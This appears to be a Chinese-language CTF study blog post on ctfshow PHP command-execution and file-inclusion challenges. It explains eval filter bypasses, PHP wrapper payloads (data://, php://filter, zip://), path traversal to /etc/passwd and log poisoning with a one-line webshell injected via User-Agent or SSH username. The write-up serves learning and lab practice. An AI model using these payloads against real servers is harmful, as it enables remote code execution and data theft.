web做题日记之命令执行喵
[TOC]
1.0 ctfshow-命令执行2
1 |
|
note1
因为是出现eval()函数,所以我们一般传入system('cat flag');
但system被ban掉的情况下我们可以选择:
1)使用passthru()函数::如 passthru(‘cat flag’);
2)使用shell_exrc()函数,但需要echo:如 echo shell_exec(‘cat flag’);
3)使用反引号(其实就是shell_exec的缩写):如 echo `cat flag`;
4)使用exec()函数(只会返回最后一行,需要配合第二个参数输出全部):如 exec(‘cat fl\ag.php’, $arr); print_r($arr);
OK,如果他真不当人了,给我全ban了
我们可以放弃shell,直接用PHP来读取文件:
1)使用highlight_file()或 show_source():如 highlight_file(‘fla’.’g.php’);
2)使用file_get_contents() 读取文件内容成字符串:如 echo file_get_contents(‘fla’.’g.php’);
3)使用readfile() 读文件并直接输出:如 readfile(‘fla’.’g.php’);
注:这里要严肃注意不要混淆shell语法和PHP代码!!!/_ \
PHP 使用点号 . 来连接字符串
随便选了一种,得到flag
2.0 ctfshow-命令执行3
1 |
|
步骤:
1)system被ban了之后,先想到的是使用passthru查看了当前目录,找到了flag.php。
法一:
2)然后看到.被ban了之后,第一反应是使用base64绕过
but…我又把php执行环境跟linux shell执行环境弄混了啊歪!!!
3)所以对system("cat flag.php");进行base64编码得到c3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
4)然后因为eval()函数执行$c里的内容,所以payload写为eval(base64_decode("c3lzdGVtKCdjYXQgZmxhZy5waHAnKTs="));得到flag
法二:
如果我就是要跟你绕呢?
2)cat被禁我们可以换成tac(反向输出文件内容)
3)空格被禁我们可以换成<(重定向)【有的时候<在某些shell环境下会有一点小问题,我们可以将其改为TAB键(URL编码为%09)Linux Shell 会把 TAB 当作空格处理】
4)flag、.、php都被禁了我们可以使用 Shell 通配符 *,fl*会被shell自动解读成flag.php
所以,最终的payload为passthru("tac<fl*");也可以获得flag
note2
什么是 tac?
字面意思:tac 其实就是 cat 倒过来写。
功能:cat 命令是从文件的第一行显示到最后一行;而 tac 命令是从文件的最后一行显示到第一行(反向输出),常用于cat绕过。
【如果tac命令没有安装或者在这个环境下表现异常,可以换成nl命令(Number Lines,给内容加上行号输出)或者more】
什么是通配符*?
简单来说:这是 Linux 命令行(Shell)的一种自动补全机制
核心原理:Shell 的“翻译”过程:
当你通过 PHP 的 passthru("tac<fl*"); 把指令扔给 Linux 系统时,实际发生的事情是这样的:
1)核心原理:
Shell 的“翻译”过程:
当你通过 PHP 的 passthru("tac<fl*") 把指令扔给 Linux 系统时,实际发生的事情是这样的:
- PHP 层:
- PHP 只是个传声筒。它检查字符串
"tac<fl*"。 - 正则过滤器
preg_match看着这个字符串:里面没有 “flag”,没有 “php”,也没有 “.”(点)。 - 判定通过:PHP 把这个字符串原封不动地交给系统 Shell(如
/bin/sh或/bin/bash)。
- PHP 只是个传声筒。它检查字符串
- Shell 层(关键步骤):
- Shell 接收到了命令:
tac < fl*。 - Shell 解析器在执行命令之前,会先扫描命令中的特殊字符。它看到了星号
\*。 - Shell 知道
*的意思是:“匹配任意长度的任意字符”。 - Shell 于是去当前目录下查找:“有没有以
fl开头的文件?” - 它找到了
flag.php。 - 替换(Expansion):Shell 自动把命令中的
fl*替换 成了实际的文件名flag.php。 - 最终,Shell 实际执行的命令变成了:
tac < flag.php
- Shell 接收到了命令:
- 执行层:
tac命令读取了flag.php的内容,并输出。
2)扩展:
1.在linux shell中,除了*还有?也可以进行绕过,只不过
*是匹配一堆字符
?是匹配一个字符
1 | # 假设 flag.php |
2.除此以外方括号 [] (匹配范围内字符)也可以
[abc] 表示匹配 a 或 b 或 c 中的任意一个
Linux Shell vs PHP 执行环境
上面说到,我又双叒叕弄混了shell和php环境,下面来系统区分一下
1)变量与赋值
| 特性 | PHP环境 | Linux Shell环境 |
|---|---|---|
| 变量标识 | 以$开头,如$a |
也是以$开头 |
| 赋值方式 | 必须有分号,如$a = "hello"; |
不需要分号且不能有空格,如a=hello |
| 特殊变量 | $_GET,$_POST等 |
$IFS,$PATH,$PWD等 |
2)字符串连接(关键字绕过)
| 特性 | PHP环境 | Linux Shell环境 |
|---|---|---|
| 连接符 | .点号 |
无符号 (直接挨着写) 或 引号 |
| 栗子 | ‘fl’.’ag’ | fl\ag |
| 逻辑 | PHP先运算拼接,再执行 | Shell 解析时忽略空引号或转义符 |
3)空格的替代
| 特性 | PHP环境 | Linux Shell环境 |
|---|---|---|
| 是否敏感 | PHP语法中,函数名和括号间通常不需要空格;关键字间需要。 | 命令和参数之间必须有分隔符。 |
| 替代方案 | 很难直接替代关键字间的空格 | <、<>、$IFS、%09等 |
| 栗子 | passthru('ls'); (本身无空格) |
cat<flag.php |
4)通配符
| 特性 | PHP环境 | Linux Shell环境 |
|---|---|---|
| 原生支持 | 不支持,PHP本身不认识 * 或 ? |
支持 |
| 使用函数 | 必须配合 glob() 函数才行 |
直接写在命令里 |
| 栗子 | print_r(glob("fl*")); |
cat fl*或者cat f??? |
5)命令执行符
| 特性 | PHP环境 | Linux Shell环境 |
|---|---|---|
| 执行方式 | eval() 、system(), exec() |
反引号 |
总结一下,想要正确构建混合的payload:
外层要符合PHP语法标准,且要绕过PHP的正则;
内层(字符串层或者shell层)要符合shell语法
3.0 ctfshow-命令执行4
1 |
|
不是…你怎么什么都禁啊歪!!!这还说啥啊,我跳了(╯‵□′)╯︵┻━┻
行…我们来看:
1)ban掉(实在是太U•ェ•*U了,这导致我们无法使用任何函数➡没事,我们直接祭出include(include是一个语言结构,这意味着无论有没有(都是合法的)
2)ban掉了;是吧➡在php中,闭合标签?>隐藏了一个分号,所以可以用来替代;
3)原代码ban掉了一堆,但是正则只检查$c,所以如果我们再传入另一个参数,就可以肆无忌惮起来了(哇哈哈哈哈邪恶笑声)所以我们就构造?c=include$_GET[1]?>(这里如果数字被ban掉,那我们也可以改为一个无引号字符串键名,如x),然后再利用1这个变量查看当前目录或者根目录,再获取flag
4)所以我们尝试利用data://伪协议来列出目录,payload为?c=include$_GET[1]?>&1=data://text/plain,<?php system('ls');?>(参数1中的内容很可能需要URL编码,编码后的URL为:?c=include$_GET[1]?>&1=data://text/plain,%3C%3Fphp%20system(%27ls%27)%3B%3F%3E)【如果页面没反应,说明服务器关闭了 allow_url_include,这条路堵死了,那就只能靠猜了,一般都为flag.php】
这时候我们得到了flag.php
5)然后利用php伪协议php://filter来读取文件源码,这里要经过base64编码,目的是防止flag被当作php解析而看不见(因为flag.php的内容一般是<?php $flag="flag{xxxx}"; ?>会被尝试执行)。
所以最终的payload为?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php,然后将得到的结果进行base64解码,得到flag
其实是有不少疑惑的,现在来挨个解答➡_➡
note3
php.ini?哥们你谁?
php.ini是PHP的核心配置文件,可以理解为服务器的法律法规
其中最重要的两个开关为:
1)allow_url_fopen(允许URL打开文件)
●默认为On
●他决定PHP能否访问互联网上的文件,比如file_get_contents("http://XXXX.com")
2)allow_url_include(允许url包含文件)
●默认为Off(在现代版本的php中)
●它决定了include或者require函数是否可以使用远程文件(RFI)或者动态流(如data://或者php://input)
●如果为off:你只能包含本地硬盘上的文件,(即 LFI,Local File Inclusion),这时候data://和php://inputpayload都会失效
●如果为on:那就可以包含任意代码,直接起飞(RCE)o( ̄︶ ̄)o
注:如果想查看这些配置,那就执行?c=phpinfo();在这个页面中搜索这两个配置即可。
伪协议?什么好东西?
1)php伪协议是什么:
首先,PHP 提供了一套内置的“特殊的读写机制”,统称为“封装协议”(Wrappers)。
正常读取:当你用 include 'flag.php' 时,PHP 是直接去硬盘读取文件
伪协议读取:当你用 include 'php://filter/...' 时,你是在告诉 PHP:“不要直接读这个文件,先经过我的特殊管道处理一下,然后再给我。”
2)常用伪协议
| 作用 | 条件 | payload示例 | 格式 | 使用场景 | |
|---|---|---|---|---|---|
php://filter |
用于读取本地文件的源代码(通常配合base64使用) | 无特殊限制(allow_url_include不需要开启) |
?file=php://filter/read=convert.base64-encode/resoure=flag.php |
php://filter/read=<过滤器列表>/resource=<目标文件>【常用过滤器:1)convert.base64-encode (最常用,转 Base64) 2)string.rot13 (ROT13 编码,有时候 Base64 被过滤时用) 3)convert.iconv.UCS-2LE.UCS-2BE (高级技巧,用于绕过 exit 等死亡杂质)】 |
php函数被ban完,我们要使用include查看flag.php或index.php中的源码时 |
php://input |
读取POST请求的数据流,并将其作为php代码执行 | allow_url_include = On |
URL:?file=php://input;POST Body:<?php system("ls"); ?> |
php://input |
可以控制URL参数,且RCE,想直接执行命令拿到shell |
data:// |
直接在URL中嵌入代码作为文件内容来执行 | allow_url_include = On |
?file=data://text/plain,<?php system("ls"); ?>或者使用base64绕开过滤:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOz8+ |
data://<媒体类型>;<编码>,<数据> |
同php://input,适合代码较短的情况 |
file:// |
访问本地文件系统(使用绝对路径)(如读取 /etc/passwd 等敏感文件) |
无特殊限制 | ?file=file:///etc/passwd |
file://<文件的绝对路径>(或者windows下:?file=file://C:/Windows/win.ini) |
虽然直接 include '/etc/passwd' 也可以,但有些程序必须检测到协议头(protocol://)才肯工作,这时就要用它 |
zip://或phar:// |
读取压缩包内部的文件 | allow_url_include一般不需要开启,但要配上文件上传功能(phar://需要php版本大于5.3.0) |
zip://:?file=zip:///var/www/html/upload/shell.jpg%23shell.php;phar://:?file=phar://upload/shell.jpg/shell.php |
zip://<压缩包绝对路径>#<压缩包内的文件名>(注意:关键坑点: URL 中的 # 符号必须手动编码为 %23,否则浏览器会把它当成锚点截断,服务器收不到);phar://<压缩包路径>/<压缩包内的文件名> |
1)题目只允许上传图片2)做一个包含 shell.php 的压缩包,重命名为 shell.jpg 上传。3)利用文件包含漏洞,配合 zip:// 协议去包含这个“图片”里的 PHP 文件,从而 GetShell |
语言结构?神马东东?
●在 PHP 中,并不是所有的“命令”都是函数。语言结构是 PHP 语法本身的一部分,硬编码在 PHP 的内核解析器中
●他有两大特权:
1)可以省略括号:这是绕过正则过滤的核心
2)不受disable_functions限制:管理员在php.ini中可以禁用system()、exec()但无法禁用echo、include等语言结构(eval()除外)
●常用的语言结构
1)输出类
| 特点 | 写法 | ctf场景 | |
|---|---|---|---|
echo |
无返回值,可输出多个字符串(逗号分隔) | echo"hello"; |
(被过滤且要查看结果时,如echo配合反引号查看当前目录 |
print |
有返回值(总是返回1),只能输出一个字符串 | print"hello"; |
同echo |
2)包含类
文件包含漏洞(LFI/RFI)的核心
| 特点 | 写法 | ctf场景 | |
|---|---|---|---|
include |
如果找不到文件,只报警告,但继续执行脚本 | include"flag.php"; |
1)配合伪协议读取flag源码;2)执行上传的图片马;3)绕过括号过滤 |
require |
如果文件找不到,报致命错误,脚本停止执行 | 同include | 在盲注或需要确保文件必须存在时使用 |
3)终止类
| 特点 | 写法 | ctf场景 | |
|---|---|---|---|
die或者exit |
可以输出一段消息后结束 | die"error"; |
1)截断杂质:如果你已经读取了 Flag,但页面后面还有大量的 HTML 垃圾代码影响阅读,可以在 Payload 最后加上 die();2)时间盲注:配合条件语句,如果猜对了就 die(页面变短),猜错了就继续 |
4)变量检测类
通常出现在题目的源码防御逻辑中,作为攻击者很少直接用到,但必须认识
isset:判断变量是否存在且不为null
empty:判断变量是否为空(如 “”、0、NULL、False)
注:它们也不能作为“回调函数”使用(例如不能用 array_map('isset', $arr))
5)特殊eval
特点:他是语言结构,不是函数
但是➡他必须带括号,必须写eval("echo 1;");
CTF 场景:它通常是题目给出的漏洞点(即靶子),而不是攻击者用来绕过的工具
总结一下:什么时候用语言结构呢?
1)当括号 ( 被完全禁用时:立刻想到 echo, include, require。
2)当 disable_functions 禁用了所有执行命令的函数时:
- 虽然不能直接用
include执行ls,但可以用include配合php://input来执行代码(前提是配置允许)。 - 利用
include直接读取 flag 文件内容。
4.0文件包含
(因为涉及到的知识点差不多写完了,这里不贴题目了,只是稍微补充几个知识点)
任意文件读取
测试:linux环境根目录下面一定有一个/etc/passwd(绝对路径)文件,会列出linux下面有哪些用户和对应的信息
绝对路径(完整路径):如/etc/passwd
相对路径:一般的网站在/var/www/html/这个目录,如果想回到/etc/passwd目录,那我们就/var/www/html/../../../etc/passwd(../代表上一层目录)
使用file://协议的时候,如?file=file:///etc/passwd
可以加一些不存在的目录名,进行穿越、绕过,如?file=/etc/ugdfgs/../passwd(ugdfgs并不存在,再加上../和/etc/passwd是一个东西)
5.0日志包含
然后,我好像又发现了一个不得了的东西➡日志包含(这个回头会贴题目)
●日志包含(通常被称为 Log Poisoning 或 日志中毒)是一种利用 LFI(本地文件包含)漏洞 将其升级为 RCE(远程代码执行)的高级技巧
(#°Д°)这不直接起飞???
●核心逻辑:既然我不能上传文件,那我就利用服务器会“自动记录日志”的特性,把恶意代码写进日志文件里,然后通过 include 函数去包含这个日志文件,从而执行代码。
●核心原理:
1)污染(poisoning):首先向服务器发送一个特殊的http请求,在这个请求的User-Agent或者URL中插入php代码(如<?php system('ls');?>)
2)记录(logging):web服务器如(Apache或者Nginx)会将这次请求的详细信息(包括刚才插入的恶意代码)自动写入到服务器的日志文件(如access.log或者error.log)
3)包含(inclusion):攻击者利用题目存在的LFI漏洞(include $_GET['file'])通过路径访问这个日志文件。php引擎在解析日志文件的时候,会把里面的<?php system('ls');?>当成php代码执行
●那么,是什么时候会用到日志包含呢?
日志包含通常是 “走投无路时的绝杀”。当以下条件同时满足时,它是首选方案:
- 存在 LFI 漏洞:你可以包含本地文件。
- 无法上传文件:题目没有文件上传功能,或者上传限制非常死,无法上传 Webshell。
- 无法使用远程包含:
php.ini中allow_url_include = Off。这意味着php://input、data://等好用的伪协议全部失效。 - 已知日志路径:你知道(或能猜到)服务器日志文件的具体存储路径(如
/var/log/apache2/access.log)。 - 有读取权限:运行 PHP 的用户(如
www-data)有权限读取日志文件(这通常是这招能否成功的决定性因素)。
●操作步骤(以Apache为例):
1)确认日志路径
常见的路径有:
/var/log/apache2/access.log(Ubuntu/Debian 常见)/var/log/httpd/access_log(CentOS/RedHat 常见)/var/log/nginx/access.log../logs/access.log
测试方法: 直接访问 ?c=/var/log/apache2/access.log。如果页面显示了一大堆像乱码一样的访问记录,说明路径正确且有权限读取。
2)通过User-Agent写入木马
(这里因为如果在url中写代码,空格会被转义为%20,一些特殊符号也会变,php容易解析失败)
操作:
1.使用 Burp Suite 抓包。
2.将请求头中的 User-Agent 修改为 PHP 一句话木马:
1 | User-Agent: system($_GET['shell']); |
(注意:尽量用这种短小且通过 GET 传参的马,防止日志文件太大导致执行卡死)
3.发送请求。此时服务器的access.log中就多了一行包含php代码的记录。
3)包含日志文件并执行
回到浏览器或 Burp,构造 LFI 请求包含该日志文件,并通过 shell 参数执行命令。
1 | ?c=/var/log/apache2/access.log&shell=ls |
●注意事项:
1)权限不够:很多现代环境(如默认配置的 Docker 容器)为了安全,PHP 用户通常无法读取 /var/log/ 下的文件。如果读不到,这招就废了
2)日志文件过大:如果日志文件有几百 MB,PHP include 它可能会因为内存溢出或超时而崩溃
3)SSH 日志包含:除了 Web 日志,如果 Web 服务有权限读取 SSH 日志(/var/log/auth.log),你甚至可以通过 SSH 登录时的用户名注入代码(如 ssh '<?php system("ls");?>'@target_ip),然后包含 auth.log 来 GetShell。
Leave a comment